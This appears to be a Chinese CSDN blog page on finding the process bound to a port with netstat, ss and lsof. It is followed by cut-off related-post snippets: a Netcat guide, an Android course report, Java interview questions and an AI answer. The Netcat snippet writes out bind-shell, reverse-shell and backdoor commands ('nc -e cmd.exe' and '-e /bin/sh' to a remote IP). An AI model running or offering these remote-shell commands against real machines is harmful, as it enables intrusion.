linux通过端口号定位进程的几种方法

通过端口号找进程ID(Pid)

1. 概述

日常在linux 服务器上排查问题时,会有根据端口号找对应pid(进程id)的需求,最终通过定位pid来排查问题。本文将介绍如何在linux系统上通过监听端口号找到相关的进程。

2.使用netstat命令

netstat命令通过p参数显示进程id,最后结合grep来找到对应的进程

l – 监听中的socket
t – 显示tcp连接
n – 以数字形式显示地址
u – 显示up连接
p – 显示进程id/程序名

通过输出可以看到ip地址、端口、进程id

root# netstat -ltnup         
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:17600         0.0.0.0:*               LISTEN      1293/dropbox        
tcp        0      0 127.0.0.1:17603         0.0.0.0:*               LISTEN      1293/dropbox   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      575/sshd  
tcp        0      0 127.0.0.1:9393          0.0.0.0:*               LISTEN      900/perl  
tcp        0      0 :::80                   :::*                    LISTEN      9583/docker-proxy 
tcp        0      0 :::443                  :::*                    LISTEN      9571/docker-proxy
udp        0      0 0.0.0.0:68              0.0.0.0:*                           8822/dhcpcd
...

最后grep找出22端口对应的进程,pid为575。

root# netstat -ltnup | grep ':22'
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      575/sshd

3.使用ss命令

我们以查看监听22端口的进程为例,根据括号内的结果可得到进程pid。这里sport指源端口,如果期望查看目标端口那么可以使用dport, 「dport = :22」。与netstat相比,我们不需要结合grep来筛选,直接通过端口过滤筛选出我们需要的信息。

root# ss -ltnup 'sport = :22'
Netid  State  Recv-Q  Send-Q    Local Address:Port   Peer Address:Port                     
tcp    LISTEN 0       128       0.0.0.0:22           0.0.0.0:*             users:("sshd",pid=575,fd=3))

4.使用lsof命令

lsof命令通过 -i :port_number选项来找出指定端口对应的进程。

root# lsof -i :22
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd       575 root    3u  IPv4   19373      0t0  TCP *:ssh (LISTEN)

lsof可以通过-i参数指定多个端口

root# lsof -i :22 -i :68
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd       575 root    3u  IPv4   19373      0t0  TCP *:ssh (LISTEN)
dhcpcd    8822 root   10u  IPv4   49601      0t0  UDP *:bootpc

5.总结

本文介绍了3个命令可以可以找出监听某个端口的进程id,日常排查网络连接数过多,分析来源可以通过这些命令帮助我们快速发现问题。

  • 3
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux attacker machine: //攻击者的机器. nc ip -p port //连接victim_IP,然后得到一个shell。 11)反向连接 attacker machine: //一般是sql2,远程溢出,webdavx3攻
安卓android课程设计分析报告 湘潭大学课程设计报告 课程名称______手机安卓开发_______ 课题名称______天气预报APP_______指导老师______周唯____ _______ 姓名____黄柳________ 学 班级____12计2班________ 小组______棒棒糖_______ 时间____2015年1月26日_____ 1. 需求分析 1) 引言 1. 编写目的 1. 为用户提供一个显示天气预报的软件,可以根据百度地图显示用户需求的城市位置 ,以及用图标表示各城市对应的气象信息,可以简洁的表示出"晴、雨、雪"和" 气温"气象信息。 2. 项目风险 1. (项目风险识别是指找出影响项目目标顺利实现的主要风险因素,并识别出这些风 险究竟有哪些基本特征、可能会影响到项目的那些方面。) 1. 联网收费视用户电话运营商的收费标准决定 2 手机或者无线信号不好时,可能无法连接或更新天气情况 3. 预期读者和阅读建议 1. 预期读者:会使用已经安装安卓系统的手机或者平板电脑及其他移动设备的用户 3 阅读建议:读者应通过该文档可以了解相关项目的需求分析、使用注意事项以及可 能存在的风险 4. 产品范围 1. 手机,平板电脑,MP4,导航仪,上网本,电纸书等使用安卓系统的数码领域 2) 综合描述 1. 产品的状况 1 Android是一种以Linux为基础的开放源代码操作系统,主要使用于便携设备。目前 未有统一中文名称,中国大陆地区较多人使用"安卓"或"安致"。Android操作系 统最初由AndyRubin开发,最初主要支持手机。2005年由Google收购注资,并组 建开放手机联盟开发改良,逐渐扩展到平板电脑及其他数码领域上。我们开发的 相关项目正是一个在安卓平台上开发的软件,可以用这个软件来实现用户在一些 简单的手持设备如手机或者平板电脑等上面及时的了解到用户所在城市的天气预 报。 2. 产品的功能 2 天气信息获取 2 天气信息显示 3. 系统配置功能 1. 用户类和特性 安卓平台用户:安卓新用户可以使用软件来了解用户所在城市的天气预报。熟悉安卓平 台用户还可以选择对相关软件的系统按自己的喜好进行配置并保留自己的个性化系统配 置。 安卓软件开发者:安卓软件开发者(喜好者)可以通过相关的开源代码来了解软件运行 的原理。 2. 运行环境 软件需要在支持安卓系统的可移动设备中正确安装才能正常运行。安卓版本需在2.2及以 上,同时建议用户如果是在手机移动设备使用的话,需确保手机支持联网服务。 3. 设计和实现上的限制 Eclipse是开发相关应用软件的首选集成开发环境,安卓开发环境首先需要安装支持jav a应用软件运行的java开发软件包(即JDK),然后安装集成开发环境Eclipse,最后安装 AndroidSDK的Eclipse的ADT插件。 AndroidSDK和Eclipse的ADT插件是必须使用的。 软件支持高效、快速的数据存储方式,包括快速数据存储方式SharedPreferences、文件 存储和轻量级关系数据块SQLite,可软件可以使用适合的方法对数据进行进程保存和访 问。 4. 假设和约束(依赖) 软件必须在安卓系统下才可以正常运行,若需要获取天气更新或者是短信服务,需确保 用户的数码设备支持联网及短信服务。 3) 外部接口需求 1. 用户的手机设备可以支持联网。 2. 用户界面 3. 软件接口 软件提供轻量级的进程间通信机制Intent,实现跨进程组件通信。 4. 访问硬件的API库函数通讯接口 4 HTTP协议:有多种接口可以调用你可以用Java类库封装的HttpConnection或者用A pach的开源项目的HttpGet或者HttpPost,服务器端需要编写Serlvet来响应客户 端的请求。 4 Sokcet:就是服务器端不断监听双方约定好的端口号,客户端通过服务器IP去请求 连接,连接成功后,得到Socket的输入输出流,直接操作即可。 4) 系统功能需求 天气信息显示和获取 功能描述:需有一个显示天气情况的用户界面,要求百度地图显示各城市位置(如:北 京、长沙、广州等3- 5个城市),以及用图标表示各城市对应的气象信息,表示出"晴、雨、雪"和"气温"简洁 气象信息。 输入输出信息: 输入:当触摸某一城市对应的气象图标时,显示该城市当天的温度、湿度、风向和雨雪 详细天气信息,并预报该城市后面几天的气象信息。 输出:气象信息的获取,从百度上获取天气预报信息,这些天气数据是通过后台服务获 取的,这个后台服务可以按照一定时间间隔,并将各城市的天气信息保存到SQLite数据 库中。 2. 概要设计 3. Ui界面 我们的ui界面秉承着清新的风格开发出来的。 整个软件界面使用一个
超级有影响力的Java面试题大全文档 1.抽象: 抽象就是忽略一个主题中与当前目标无关的那些方面,以便更充分地注意与当前目标有关的方面。抽象并不打算了解全部问题,而只是选择其中的一部分,暂时不用部分细节。抽象包括两个方面,一是过程抽象,二是数据抽象。 2.继承:  继承是一种联结类的层次模型,并且允许和鼓励类的重用,它提供了一种明确表述共性的方法。对象的一个新类可以从现有的类中派生,这个过程称为类继承。新类继承了原始类的特性,新类称为原始类的派生类(子类),而原始类称为新类的基类(父类)。派生类可以从它的基类那里继承方法和实例变量,并且类可以修改或增加新的方法使之更适合特殊的需要。 3.封装:  封装是把过程和数据包围起来,对数据的访问只能通过已定义的界面。面向对象计算始于这个基本概念,即现实世界可以被描绘成一系列完全自治、封装的对象,这些对象通过一个受保护的接口访问其他对象。 4. 多态性:  多态性是指允许不同类的对象对同一消息作出响应。多态性包括参数化多态性和包含多态性。多态性语言具有灵活、抽象、行为共享、代码共享的优势,很好的解决了应用程序函数同名问题。 5、String是最基本的数据类型吗?  基本数据类型包括byte、int、char、long、float、double、boolean和short。  java.lang.String类是final类型的,因此不可以继承这个类、不能修改这个类。为了提高效率节省空间,我们应该用StringBuffer类 6、int 和 Integer 有什么区别  Java 提供两种不同的类型:引用类型和原始类型(或内置类型)。Int是java的原始数据类型,Integer是java为int提供的封装类。Java为每个原始类型提供了封装类。 原始类型 封装类 boolean Boolean char Character byte Byte short Short int Integer long Long float Float double Double  引用类型和原始类型的行为完全不同,并且它们具有不同的语义。引用类型和原始类型具有不同的特征和用法,它们包括:大小和速度问题,这种类型以哪种类型的数据结构存储,当引用类型和原始类型用作某个类的实例数据时所指定的缺省值。对象引用实例变量的缺省值为 null,而原始类型实例变量的缺省值与它们的类型有关。 7、String 和StringBuffer的区别  JAVA平台提供了两个类:String和StringBuffer,它们可以储存和操作字符串,即包含多个字符的字符数据。这个String类提供了数值不可改变的字符串。而这个StringBuffer类提供的字符串进行修改。当你知道字符数据要改变的时候你就可以使用StringBuffer。典型地,你可以使用 StringBuffers来动态构造字符数据。 8、运行时异常与一般异常有何异同?  异常表示程序运行过程中可能出现的非正常状态,运行时异常表示虚拟机的通常操作中可能遇到的异常,是一种常见运行错误。java编译器要求方法必须声明抛出可能发生的非运行时异常,但是并不要求必须声明抛出未被捕获的运行时异常。 9、说出Servlet的生命周期,并说出Servlet和CGI的区别。  Servlet被服务器实例化后,容器运行其init方法,请求到达时运行其service方法,service方法自动派遣运行与请求对应的doXXX方法(doGet,doPost)等,当服务器决定将实例销毁的时候调用其destroy方法。 与cgi的区别在于servlet处于服务器进程中,它通过多线程方式运行其service方法,一个实例可以服务于多个请求,并且其实例一般不会销毁,而CGI对每个请求都产生新的进程,服务完成后就销毁,所以效率上低于servlet。 10、说出ArrayList,Vector, LinkedList的存储性能和特性  ArrayList 和Vector都是使用数组方式存储数据,此数组元素数大于实际存储的数据以便增加和插入元素,它们都允许直接按序号索引元素,但是插入元素要涉及数组元素移动等内存操作,所以索引数据快而插入数据慢,Vector由于使用了synchronized方法(线程安全),通常性能上较ArrayList差,而LinkedList使用双向链表实现存储,按序号索引数据需要进行前向或后向遍历,但是插入数据时只需要记录本项的前后项即可,所以插入速度较快。 11、EJB是基于哪些技术实现的?并说出SessionBean和EntityBean的区别,StatefulBean和StatelessBean的区别。 EJB包括Ses
Linux系统中,你可以使用多种方法查看某个端口对应的进程。以下是几种常用的方法: 1. 使用/proc文件系统: 可以使用以下命令来查看某个端口被哪个进程占用: ```sudo ls -l /proc/$(sudo lsof -t -i:端口号) | grep exe``` 其中,端口号是需要查询的端口号。该命令将会显示出对应进程的可执行文件路径。 2. 使用ps命令: 通过结合ps命令和grep命令,你可以查找某个进程,并进一步查看进程打开的网络端口。具体命令如下: ```sudo ps -ef | grep 进程名``` 其中,进程名是你需要查询的进程名。该命令将会显示出对应进程的信息。 3. 使用fuser命令: fuser命令可以用来查看某个文件或目录被哪个进程占用。对于网络端口,你也可以使用fuser命令进行查询。具体命令如下: ```sudo fuser 端口号/tcp``` 其中,端口号是你需要查询的端口号。该命令将会显示出对应端口被哪个进程占用的信息。 综上所述,你可以使用以上命令中的任意一种来查看Linux系统中某个端口对应的进程。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [Linux查看端口被进程占用的方法](https://blog.csdn.net/qq525003138/article/details/130229666)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值